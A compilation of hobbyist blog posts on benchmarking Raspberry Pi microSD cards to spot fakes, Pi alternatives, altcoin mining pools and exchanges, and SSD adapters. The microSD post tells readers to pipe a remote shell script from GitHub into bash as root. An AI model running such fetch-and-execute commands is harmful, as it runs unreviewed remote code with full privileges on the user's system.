how to do backend PHP coding as well as the shell script portion of the script. Official Pi Benchmarks GitHub Page If you have any of the SBCs on the list or any that aren’t on the list definitely give the storage benchmark a try! Other Resources The benchmark is now available for PC! See the announcement here. Official GitHub Page #### Benchmark Your Raspberry Pi MicroSD Cards – Fakes Everywhere! Attention: These benchmarks are now old. Click here to view the 2021 benchmarks! For the past couple of weeks I have been putting together a Minecraft 1.12 Raspberry Pi Guide and have been using my several year old Samsung Evo 32GB MicroSD cards. After reading several blogs and benchmarks I decided to purchase some Samsung Evo+ 32GB cards off Amazon because they benchmarked better than my orange Evo cards I already have. Let me start out by saying I love Amazon and am a Prime member and buy almost everything there. I bought two Evo+ 32GB cards from Amazon and received them very quickly as usual. However, once I started using them, I figured out that they were either fake or Samsung had revised the model and it performed terribly. I don’t just mean slightly underspec bad either. I mean worse than my Walgreens ghetto off the shelf cards I bought on clearance! In this article I’m going to show you how to benchmark your SD card on the Raspberry Pi, and I’m also going to include how to use a popular utility to benchmark them on Windows if you don’t have a Raspberry Pi. The Contenders Samsung EVO SD Card* Samsung EVO Plus SD Card* The front of the MicroSD cards The back of the MicroSD cards Unfortunately my camera is not good enough to capture the tiny inscriptions on the cards, so I will give them here: 2x Samsung Evo 32GBMB-MP32DMBMPBGVEODFW-FMade in Philippines 2x Samsung Evo+ 32GBMB-MC32DMBMCBGVEDFCW-PMade in Philippines 1x EMTEC 16GB (Walgreens Clearance)1x EMTEC 64GB (Walgreens Clearance) Benchmarking MicroSD on Raspberry Pi For the Raspberry Pi I wrote a script that will let you benchmark your SD card. It also contains a list of benchmarks for common cards on the market, including the Evo+. Check it out here: Pi Benchmarks To run the script on your Pi, simply type: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This script tests hdparm (direct read speed from the card without OS interference), ddwrite (Raspbian recommended way of testing SD cards), and iozone’s 4k R/W benchmarks.4k read/write performance is extremely important for Raspberry Pis. Most MicroSD cards are meant for large sequential reads/writes like taking a photo/video in a camera. We are not interested in this performance usually for our purposes because an operating system makes many small random read writes. These tools test this crucial type of performance for every day operating system use as well. Benchmarking on Windows You can still benchmark your MicroSD cards on Windows if you do not use a Raspberry Pi. The most popular software to do so is called CrystalDiskMark and can be located here: CrystalDiskMark Official Page. It can also be set to test random 4k R/W performance so no matter what board you use or whatever you are using your card for it can give you an idea of how your card is performing. Results All of these tests were ran on the same Raspberry Pi 3 Rev B board with the SD reader overclocked to 100hz. Here is where things get interesting. Let’s start with my classic Samsung Evo 32GB: microSD clock: 100.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 106 MB in 3.04 seconds = 34.88 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 24.6942 s, 17.0 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 1630 3177 9648 9711 9707 3098microSD card benchmark complete! Okay, those numbers aren’t too bad! If you compare that with the benchmark page above I did really well with the years old orange Evo card! Now let’s fire up the Evo+. I bet it’s going to scream! microSD clock: 100.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 74 MB in 3.03 seconds = 24.46 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 51.3407 s, 8.2 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 658 793 4899 4892 4552 653 Whoa…. that can’t be right. 8.2MB/sec on the ddwrite? 24.46MB/sec on the hdparm?! I must have a defective card, so I imaged the second card and ran it again: microSD clock: 100.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 74 MB in 3.02 seconds = 24.49 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 53.3626 s, 7.9 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 706 905 4555 4556 4345 640 Oh…. oh my. It’s the same or even worse in some places. What is going on? Alright, well, lets try the EMTEC clearance cards and see how those do. microSD clock: 100.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 90 MB in 3.06 seconds = 29.37 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 58.309 s, 7.2 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 260 255 6664 6598 6017 251iozone test complete.microSD card benchmark complete! Well, that did predictably poorly, but what is stunning is that those numbers are not much worse than the Samsung Evo+ cards I received. The random write was much slower, but the hdparm direct read was actually faster! And now for the final contender, the EMTEC 64GB: microSD clock: 100.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 94 MB in 3.04 seconds = 30.89 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 39.9065 s, 10.5 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 224 218 7108 7150 6218 220 So, wait a minute, wow! The EMTEC clearance cards actually beat the Samsung Evo+ by nearly 2MB on the dd test, and nearly 5MB on the HDPARM test? That should not be possible. The Evo+ according to most benchmarks is one of the fastest cards on the market. The Evo+ is supposed to easily beat my orange Evos but was slower than the EMTEC clearance cards in every category except for the iozone 4k read/write. Conclusions I went to Amazon and immediately ran for the return button only to find out these items could not be returned. I emailed Amazon my benchmarks and told them that these cards must be fake. Amazon was very good and immediately refunded my money and did not require me to return the cards. But are they actually fake? Or did Samsung change their manufacturing process? After a bunch of research on Google, I stumbled across many others with the same issue. It seems there are tons of fakes of these cards going around and even found similar people who bought them on Amazon/eBay/you name it and got the same performance. It looks like some people opted to buy it directly from Samsung’s web site (more expensive), or from big electronic chain stores with verified supply chains. This is my recommendation. I recommend you all benchmark your SD cards and find out if you are getting the performance you should be out of your cards and make sure that you don’t have a fake. With so many third party resellers online and no verified supply chain you have no idea what you are getting so unless you buy it direct from the manufacturer or buy it from a giant chain store with a verified supply chain. Otherwise, BUYER BEWARE! #### Best 2023 Raspberry Pi Alternatives The Raspberry Pi continues to suffer from supply chain issues. They have promised there are a lot of their very old models that should be coming up for purchase within the next 6 months. I’ve been hearing that for years though to be honest with you. Fortunately you don’t need to wait. There are more and better alternatives to the Raspberry Pi in 2023 than there have ever been before. In this article I’ll cover the best Raspberry Pi alternatives in 2023. Let’s get started! Table of Contents Toggle Best High Performance AlternativeBest Mid-Range AlternativeBest Budget AlternativesBest Pi Zero / Pi Zero 2 AlternativeConclusionWhat are the top Raspberry Pi alternatives in 2023?Do Raspberry Pi alternatives support Raspberry Pi OS?Are alternative SBCs better for Home Assistant? Best High Performance Alternative Radxa Rock 5B* Let’s start with the obvious king of performance on single board computers so far in 2023: the Radxa Rock 5B. This board uses the RockChip RK3588 SoC which has a whopping 8 CPU cores. The board absolutely destroys the Raspberry Pi 4 and Compute Module 4 on both CPU and GPU performance. Why is this board so great? Not only does it have a M.2 NVMe slot (something we are seeing more and more on alternative boards but not on the Raspberry Pi yet) but it actually supports PCIe 3.0! That means it’s actually worth using a high performance PCIe Gen3/Gen4 drive in this board. Most other boards out there will only support PCIe 2.0 (if they have it at all). This board is suitable for beginners. It’s suitable for people from the Pi ecosystem who may be trying other boards for the first time. This board is a breath of fresh air because so many of the boards I test work great but are incredibly difficult to get started with. That’s not the case with the Rock 5B and some of the other RK3588/RK3588S models coming out. The biggest drawback for many people will be the price. If the price seems too high starting around $140 I would highly recommend checking out the Orange Pi 5. The Orange Pi 5 uses the RK3588S which lacks the PCIe 3.0 interface but is much less expensive. We will cover that board later in the article. This board leaves the Raspberry Pi 4 so far behind in the dust that it’s really questionable if they’ll ever catch up. I personally don’t think so. I’d imagine that Radxa and others shipping the newer RockChip tech are the new kings of the SBC performance world. I have a full review of the Radxa Rock 5B here. Best Mid-Range Alternative Orange Pi 5* We’ve covered the highest performing single board computer with the Rock 5B but now let’s look at a version that costs less than $100: the Orange Pi 5! The Orange Pi 5 has *almost* the exact same CPU as the Rock 5B with one critical difference. The Orange Pi 5 uses the RK3588S. Notice that it has the “S” at the end. This is a variant of the RK3588 that does *not* contain PCIe 3.0. It only contains PCIE 2.0. The practical effects of this is that it generally doesn’t make sense to use an extremely powerful PCIe 3.0 NVMe drive with the Orange Pi 5. You can use either a regular M.2 SATA or just a budget/cheap NVMe drive. Since it can’t run at PCIe 3.0 speeds there is no point in putting an extremely powerful drive in this. Neither the Orange Pi 5 or the Rock 5B come with integrated WiFi. They both have WiFi adapters available. I wanted to mention this difference because Raspberry Pi users will be used to it always being integrated with the board. Although these two boards are much more powerful one drawback is you do need to get the WiFi adapter for them (or use a USB-based WiFi adapter). We’ve seen a ton of people successfully meet their project needs with the Orange Pi 5 in my review here. This ranges from everything from upgrading their Home Assistant instance from a slow 4-core Raspberry Pi 4 to the smoking fast Orange Pi 5 which dramatically reduced their build time when updating devices in Home Assistant. The Orange Pi 5 can also achieve 2-3x higher I/O performance (great for servers) than the Raspberry Pi 4 due to having access to NVMe and not having to use a USB to SATA/NVMe adapter. We’ve also seen people have success using emulation if you use Armbian and enable the 3D driver support for the Orange Pi 5. Best Budget Alternatives Libre Computers “Le Potato”* Now let’s get to the budget options. These budget options are so cheap they will rival the Raspberry Pi at retail price (which nobody can buy it at and hasn’t been able to for years). They’re also the most compatible of all of the options I’ve covered. The Libre Computers boards can literally run Raspberry Pi OS. Not only that, it can actually dual boot between Libre Boards and the Raspberry Pi. You can run a script while inside Raspberry Pi OS that will enable booting with Libre Computers boards. You can actually take that SD card out of the Raspberry Pi, use it with the Libre board and then put it back in the Raspberry Pi and it will work perfectly! I’ve covered this in this guide here called enabling Raspberry Pi OS to run on Libre Computers Boards here. But wait, there’s more! The Libre Computers boards can also use the majority of Raspberry Pi hats. Now this does require using a tool to help enable the overlays but this is something that is usually impossible on alternative boards. Libre Computers has a translation layer tool that will let you use Raspberry Pi overlays with the Libre Computers boards. You can see the tool here on GitHub for more information about using Raspberry Pi overlays. The “Le Potato” only costs $35 on Amazon at time of writing. You can read my full review of the “Le Potato” here. It’s meant to be an alternative to the Raspberry Pi 3. It also has a big brother called the “Renegade” that is more equivalent to a Raspberry Pi 4: Libre Computers “Renegade”* The Renegade is more powerful and has USB 3.0. It comes in a nice black color in contrast to the white color of the “Le Potato”. With the on-board USB 3.0 port you can achieve very high I/O performance scores rivaling anything a Pi 4 can do. The quad-core CPU is no slouch either and the 2GB of RAM included doesn’t leave you starving for resources. It’s very comparable to a entry-level 2GB Pi 4 but you can buy 2-3 of these boards for the prices that the Pi is going for right now. Benchmarking showed excellent performance gains using a SSD with this board (and pretty impressive SD card performance as well). It’s only slightly more than the “Le Potato” going for $40 on Amazon at time of writing. You can view my full review on the Libre Computers “Renegade” here. Best Pi Zero / Pi Zero 2 Alternative Radxa Zero This category is easy. It’s the Radxa Zero. It’s everything that the Raspberry Pi Zero 2W should have been including USB-C, much higher memory options than anything offered on the Pi Zero / Zero 2W and much more. If you need a very small form factor or the form factor of a Raspberry Pi Zero this will be a fantastic alternative for people who can get away with not having to use Raspberry Pi OS. If you’re able to use Armbian / Debian / Ubuntu instead then it’s very likely you can use this alternative to the Raspberry Pi Zero 2W. Cooling is definitely recommended. The copper heat sinks I recommend are great* but make sure you have something. The quad-core CPU is quite powerful and if you run it bare you’ll run into throttling and other issues a lot more frequently. It will perform better / smoother with a heat sink on it for sure. This board is suitable for beginners. You don’t need to do any firmware flashing or anything fancy to get this one working. A USB to TTY serial console is not required with this board. You can plug it into a monitor and configure it that way. It also includes WiFi/Bluetooth capabilities which avoids having to try to buy an extra adapter for it. You can see my full review of the Radxa Zero here. Conclusion It has been really hard to recommend Raspberry Pi alternatives in the past. They were just so far behind what Raspberry Pi was doing and the level of support they offered. I think the majority of people will be very, very happy to know that has changed dramatically. Radxa / Orange Pi / Libre Computers have all been at this working hard for years. The support on their boards is finally ready for mainstream users. You can use one of these boards for projects you likely want to do. There are many choices of images available for each of them with the number growing every day. I’ve reviewed a ton of other boards on the site as well that are worth considering. Don’t be too offended if your board/company didn’t make the 2023 best boards list. These are just the most compelling choices I have seen after reviewing dozens of these at this point. These are the ones that are worth your time / consideration that I’ve reviewed so far. If you know of other hidden gems out there I haven’t reviewed let me know in the comments as I’d love to check them out! What are the top Raspberry Pi alternatives in 2023?Boards like the Orange Pi 5, Rock 5B, and Radxa Zero 3 offer superior CPU/GPU performance, better passive/active cooling solutions, and more RAM options at similar or lower price points.Do Raspberry Pi alternatives support Raspberry Pi OS?Most run best with Armbian or their manufacturer’s custom Debian builds, but community efforts allow running Pi OS with varying degrees of driver support. Hardware acceleration often works better on native OS builds.Are alternative SBCs better for Home Assistant?Yes, many alternative boards offer multiple Gigabit LAN ports and faster NVMe support out of the box, making them excellent for Home Assistant OS, Docker containers, and media serving. #### Best Altcoin Mining Pools / Exchanges Altcoin Mining For quite some time now Kadena (KDA) has been topping the charts for mining profitability. There are many other altcoins though that are power efficient to mine including Starcoin (STC), Siacoin (SC), Kadena (KDA) and a few others. The power requirements for these miners are noticeably less even on the spec sheet. For example the Goldshell STC-Box (Starcoin)* miner only uses 60W of power and is mining $1.37/day of profit at time of writing. That’s not bad in this market for a miner that typically costs around 1000-1500 bucks and is outperforming ones that cost 10x that because of only using 60W of power (both in raw earnings depending on the miner and certainly in per watt earnings vs. nearly every miner). I have 7 of these (and my wife has a few as well) and I wish I had bought 30 of them and not bought a lot of the more power-heavy miners that I bought in the same time period. The only problem with these coins is that they can be difficult to find good pools and exchanges that will accept them. Fortunately if you know the right places to go you can essentially take care of *all* of your altcoin needs with just a couple of pools and a single exchange. Today I’ll cover where I do all of my altcoin mining and where I exchange those tokens with minimal fees. Let’s get started! Table of Contents Toggle Best Altcoin Mining PoolsViaBTCViaBTC Official LinkCoin / Token AvailabilityPositivesNegativesSummaryDxPoolDxPool Official LinkCoin / Token AvailabilityPositivesNegativesSummaryBest Altcoin ExchangeCoinExCoinEx Official LinkPositivesNegativesSummaryCryptocurrency to CashConclusion Best Altcoin Mining Pools What is it that makes up the “best” mining pools? In my view it is ones that are: reliablehave a lot of available tokenshave a decent overall hashratehave low feeshave low minimum required withdrawal amounts With that in mind let’s get into some specifics with a couple of the largest altcoin mining pools. ViaBTC ViaBTC – Autoconversion Menu ViaBTC Official Link ViaBTC Mining Pool Coin / Token Availability BTC (Bitcoin) + EMC (Emercoin) + ELA (Elastos) + SYS (Syscoin) + NMC (Namecoin) Merged MiningBCH (Bitcoin Cash)XEC (eCash)DCR (Decred)LTC (Litecoin) + DOGE (Dogecoin) Merged MiningETH (Ethereum)ETC (Ethereum Classic)ZEC (Zcash)ZEN (Horizen)DASH (Dash)CKB (CK Nervos)LBC (LBRY Credits)HNS (Handshake) Positives Offers free transfers with no minimums when paired with the CoinEx exchangeHas autoconversion features which can convert many altcoins to your chosen coin automatically without sending to an exchangeSelection of available altcoins is among the best Negatives Depositing not recommended (if anything goes wrong you may be waiting a very long time for it to get fixed, see my ViaBTC review for why)Autoconversion has steep minimums on most coins — lower hashrate miners often won’t hit these before the daily automatic withdrawal Summary ViaBTC was founded in May of 2016. They’ve grown to offer one of the most comprehensive lists of tokens available. I do most of my mining here now as there are only a handful of tokens that I mine that ViaBTC doesn’t have. To get the most out of ViaBTC you need a CoinEx account. In my ViaBTC review I did *not* have CoinEx with it at the time and I rated it as a poor to mixed experience. This is mainly because of the fees and the higher minimums for auto-withdrawal. Pairing it gives you free transfers to CoinEx with no minimums whenever you want. This is a “killer feature” for sure as you can save an absolute fortune in fees by taking advantage of this. I even mine my Ethereum on ViaBTC and it’s because the fees are so high for ETH. When paired with CoinEx this pool is an excellent choice and basically my go-to. DxPool DxPool DxPool Official Link DxPool Mining Pool Coin / Token Availability LTC (Litecoin) + DOGE (Dogecoin) Merged MiningXMR (Monero)SC (Siacoin)HNS (Handshake)CKB (CK Nervos)KDA (Kadena)LBC (LBRY Credits)STC (Starcoin)DERO Positives Daily automatic withdrawals with low minimums for each coinHas some harder tokens to find such as Kadena (KDA) Negatives Changing any of your withdrawal addresses locks all withdrawals (all tokens / coins) account-wide for 24 hours (meant as a security feature but can cause delays and headaches) Summary DxPool is a fantastic pool with a clean and fast GUI and daily automatic withdrawals with low minimums. For most coins even with only one or two ASIC miners you can get a daily payout (the exceptions being Starcoin and Siacoin). These have very little to no fees if you wait for the daily auto-withdrawal. The reason they are able to offer this is if you are willing to wait for the 24 hour automatic-withdrawal the pool can combine all the miner’s transactions together (batching / a batch transaction) which saves them a fortune on fees. Some pools pass on this savings to their miners and it’s not a coincidence that both of the pools I’m covering today have this feature *and* pass on the savings to miners. It really adds up day after day after day. My only complaint is if you change any of your withdrawal addresses your withdrawals will all be locked for 24 hours. That includes all coins even the ones you didn’t change the address for. It also includes manual withdrawals. Once you change it your account is basically “locked” for security for that 24 hour period. This may or may not be appealing to you (it was a downside for me but not a hard one to manage). Best Altcoin Exchange CoinEx CoinEx Exchange – Assets CoinEx Official Link CoinEx Exchange Positives Fees are crazy low — even straight Bitcoin (BTC) is only a 0.0001 BTC withdrawal fee vs. Binance’s 0.0005 BTC as a comparisonHas basically every token that will be listed on any exchangeKYC compliantAllows exchanging tiny amounts of altcoins — amounts as little as $2.10 like in the screenshot above (my LBRY credits/LBC) qualify for trading / exchange Negatives Can sometimes have very long maintenance periods on certain tokens where they are not available to deposit / withdraw Summary CoinEx exchanges literally every token I mine and that is on any of the lists we’ve covered in this article. It is KYC compliant for those in the US and other countries with similar laws. I owed and paid state and federal taxes for 2021 based on my official tax forms from CoinEx. They have pretty much every token that will be listed anywhere. CoinEx has long been known as having one of the best selections of tokens. It’s a huge plus that they’re friendly toward governments with very strict cryptocurrency laws. Fees are cheaper than anywhere else I’ve really seen as well. I exchange literally 100% of all my mining tokens here into Bitcoin. From there you have a lot more options to exchange Bitcoin to whatever you want. If you have an exchange account anywhere else that is already linked with your bank account you can essentially treat CoinEx as a “crypto-only” exchange to get everything bundled and then use a different method to turn it into cash (if that’s your goal). Cryptocurrency to Cash I personally use CashApp for the final step of turning crypto into fiat currency because it lets me deposit and sell Bitcoin (and only Bitcoin) and then instantly wire it to my account for an additional fee (depends on the amount, but it’s usually $5-$8 for a few hundred dollars or so to give a rough idea). This hits my credit union account in about 30 seconds (it’s a real wire transfer if you pay the fee). I can typically turn cryptocurrency (including altcoins assuming they are in CoinEx to exchange or you send them there) into cash I can withdraw from an ATM in roughly 30-45 minutes using this method (all time waiting for the Bitcoin transfer into my CashApp deposit address to confirm on the blockchain essentially). You can also just let it do a normal ACH-style transfer and wait for free. I always pay the wire transfer fee because the 0.0001 BTC fee to withdraw from CoinEx is already saving me more money vs. Binance’s 0.0005 BTC withdrawal fee (and other exchange’s comparable ones) that it still feels like a bargain and then there’s no waiting / checking accounts over and over to see if it posted yet / etc. Conclusion Between ViaBTC + CoinEx + DxPool I have 100% of all of my mining pool needs and my exchange needs covered. I’m able to easily mine and convert every token that there is an ASIC available for essentially. Let me know your strategy in the comments if you know of other ways to get ahead using various pools / exchanges!                          #### Best Working SSD / Storage Adapters for Raspberry Pi 4 / 400 Storage Adapter Guide To this day it can still be treacherous to buy a storage adapter for your Raspberry Pi 4. There are many that will not work properly and perform very poorly. I’ve covered which adapters work and don’t work in my Native USB Booting Guide as well as my old “workaround” SD + SSD method guide and over the years people have submitted hundreds of comments about which adapters do and don’t work. From everything we’ve learned together in the comments and adapters I personally own/use I wanted to compile this information into a new “Best Storage Adapters for Raspberry Pi 4” list. Let’s get started! Table of Contents Toggle How to choose a Pi SSD storage solutionTop Performing DrivesM.2 NVMEM.2 SATA2.5″ SATAPortableUltra CompactRecommended Adapters / EnclosuresM.2 NVMeM.2 SATA2.5″ SATAm-SATAPower RequirementsInsufficient Power SymptomsPowered USB Hub SolutionOversized Power Adapter SolutionPower LimitsPowered USB Hub TroubleshootingFull Storage Adapters Compatibility ListKnown Working AdaptersKnown Problematic Adapters (Naughty List)Verify Drive PerformanceWhich SSD adapter works best with Raspberry Pi 4?Can I use M.2 SATA drives alongside NVMe on Raspberry Pi?Do SSD adapters require firmware updates for the Pi 4? How to choose a Pi SSD storage solution There are a few different considerations and tradeoffs you need to weigh when you’re choosing a storage adapter/enclosure as well as the drive itself. The main considerations are: Specific project requirements Power Performance Budget The easiest place to start is with your specific project requirements. Is this Pi going to be somewhere where you are okay with having an extra adapter/enclosure and SSD laying around? If you’re going to be using the Pi in something like a drone/vehicle then you may want to go with a USB thumbdrive style ultracompact SSD that plugs directly into a USB port and has no wires or adapters/enclosures. There are also lots of cases available specifically for the Pi that add an additional storage slot (such as M.2 SATA, the older m-SATA style, etc.) to the Pi that may work better with a tightly integrated build. How much power is going to be available? Is your Pi going to be running off a battery where you want to use as little energy as possible? Do you have AC outlets around? Are you willing to add a powered USB hub to your setup? If your Pi is going to be sitting in a corner in the basement / a closet / some place like that then you can plan to have a powered USB hub and plentiful reliable power around. The lowest power options are going to be 2.5″ SATA drives WITHOUT an enclosure (using just an adapter instead with the drive laying in the open). I have never over years of usage used a powered USB hub with a 2.5″ SATA adapter but many enclosures won’t even boot without one. What level of performance do you require? If your Pi is going to be running a server or hosting a database then you need a drive that has high random I/O performance as well as large throughput. Performance has a cost though both in power and budget. The highest performance NVMe drives are the most expensive and the NVMe enclosures are the most power hungry class of storage adapters and almost universally require a powered USB hub to be integrated into your setup but we’ll cover this more later in the “Power Requirements” section. And finally what type of budget do you have? If you are looking to save money you may be wanting to reuse an old SSD or get one used for very cheap. NVMe is the most expensive and 2.5″ SATA / mSATA SSDs are the cheaper options. Places like eBay can be a great source of very cheap drives as well. The bottom line is choose the type of solution that meets your project’s needs and your budget! Top Performing Drives M.2 NVME This is the top performing (and most expensive) drive class! They require more power than other types of drives and the NVMe enclosures often bump the requirements up to potentially requiring a powered USB hub to boot (especially with an enclosure). See the “Power Requirements” section below for more information. Samsung 980 Pro NVMe SSD The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Samsung 970 EVO Plus NVMe SSD The Samsung 970 EVO Plus is a fantastic drive and has fallen in price substantially. It’s widely available around the world. The smaller capacities (such as the 250GB version) of this drive are perfect for the Pi! This is the top performance option without going into the “Pro” series of the lineup which are much more expensive. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* KingSpec 3D NAND M.2 NVMe SSD The KingSpec 3D NAND M.2 NVMe drive is another very affordable choice that is widely available. It performs well and works great with the Pi! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* M.2 SATA M.2 SATA does not have the transfer rates that M.2 NVMe does but they are quite a bit cheaper and still a fantastic choice for the Pi. Kingston A400M M.2 SATA SSD The Kingston A400M is a cheap and reliable M.2 SATA SSD that has over 170 benchmarks on pibenchmarks.com. It’s extremely cheap and may even be cheaper than the recommended 2.5″ SATA drives in some countries! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Western Digital Green M.2 SATA SSD The Western Digital Green M.2 SATA drive is the #26th most popular storage device overall on pibenchmarks.com so it definitely works well and is very affordable. This is another great budget option that can often come in at a lower cost (depending on availability, country and other market factors) than 2.5″ SATA SSDs often do while having a much lower profile! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.*a*u*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* 2.5″ SATA 2.5″ SATA drives are limited by the transfer speed of the SATA interface like the M.2 SATA drives. On the Raspberry Pi this is not as important as on desktop. This is usually the cheapest option and performance is still fantastic! Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Crucial BX500 2.5″ SATA SSD The Crucial BX500 is another great choice for a drive to use with the Pi. It’s the 2nd most popular SSD benchmarked with over 840 benchmarks submitted. Low power requirements and widely available! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Western Digital Green 2.5″ SATA SSD The Western Digital Green 2.5″ SATA SSD is another option to investigate. Depending on your country and other market factors this may come in as the best deal. It’s a solid performer and commonly shows up on the storage benchmark. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* XRayDisk SSD The XrayDisk SSD is popular worldwide and available relatively inexpensively from AliExpress Links: AliExpress* Portable Portable SSDs are ones that are designed to be used through USB and aren’t meant to be installed internally. The nice thing about these is they do not require a storage adapter. They are also extremely fast. The ones recommended here will beat 2.5″ SATA drives on the performance benchmarks since internally they are usually M.2 SSDs inside a fancy outer shell. They’re usually more expensive than internal drives but not quite as expensive as the top performing internal NVMe drives. Tends to be cleaner than a adapter/enclosure setup but not as clean as the ultracompact setup. Samsung T5 Portable SSD The Samsung T5 Portable is one of the most popular USB SSDs for the Raspberry Pi with over 350 unique benchmarks. It’s also one of the fastest with an average score of over 8300 points! No storage adapter required for this one, it is a USB based drive and will plug right in. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SanDisk Extreme Portable SSD The SanDisk Extreme Portable is a very small portable SSD that can easily be put on a keychain or a loop with the built in notch. It’s also very fast with an average score of over 8,000. The drive has been tested over 147 times making it one of the more popular ones to use with the Raspberry Pi. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Ultra Compact The cleanest possible setup option. The drive will only plug into your USB port and stay there taking up no extra footprint and adding no extra cables. These recommendations are both actually faster than 2.5″ SATA drives (internally they are M.2 NVMe drives and they perform at that level). You pay a premium for this option vs. something like a 2.5″ SATA setup but lower capacities are much more affordable. Orico GV100 NVMe SSD The Orico GV100 is a portable NVMe usb-stick style drive. It’s extremely fast due to actually being a true NVMe drive in a very compact form. This is an excellent choice if you are building a setup that has very limited space or having a dangling adapter/enclosure would be problematic. Links: AliExpress*, Amazon.ca*, Amazon.com*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Recommended Adapters / Enclosures M.2 NVMe ICY BOX M.2 NVMe Enclosure The ICY BOX is basically a giant heatsink that you mount a high performance M.2 NVMe drive inside of. This enclosure is really fast but requires a powered USB hub. Not even the 3.5A adapter can reliably power it! The enclosure works well and will physically feel warm to the touch as it is pulling the heat off your NVMe drive! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ASUS ROG Strix M.2 NVMe Enclosure If you really want to take things over the top the ASUS Rog Strix M.2 NVMe enclosure uses the latest USB 3.2 Gen2 specification, is RGB capable and works with the Pi! Unsurprisingly, adding the extra lighting does take extra power! A powered USB hub is also required for this enclosure. More widely available than the ICY BOX but tends to be on the expensive side. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* M.2 SATA UGREEN M+B Key M.2 Enclosure The UGREEN M+B enclosure is a great enclosure for the Pi for M.2 SATA 2280 NGFF drives. It supports both B-key and M-key drives. Does not support newer NVMe drives. As with other types of enclosures it requires more power than other options! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Argon ONE Pi 4 M.2 Case The 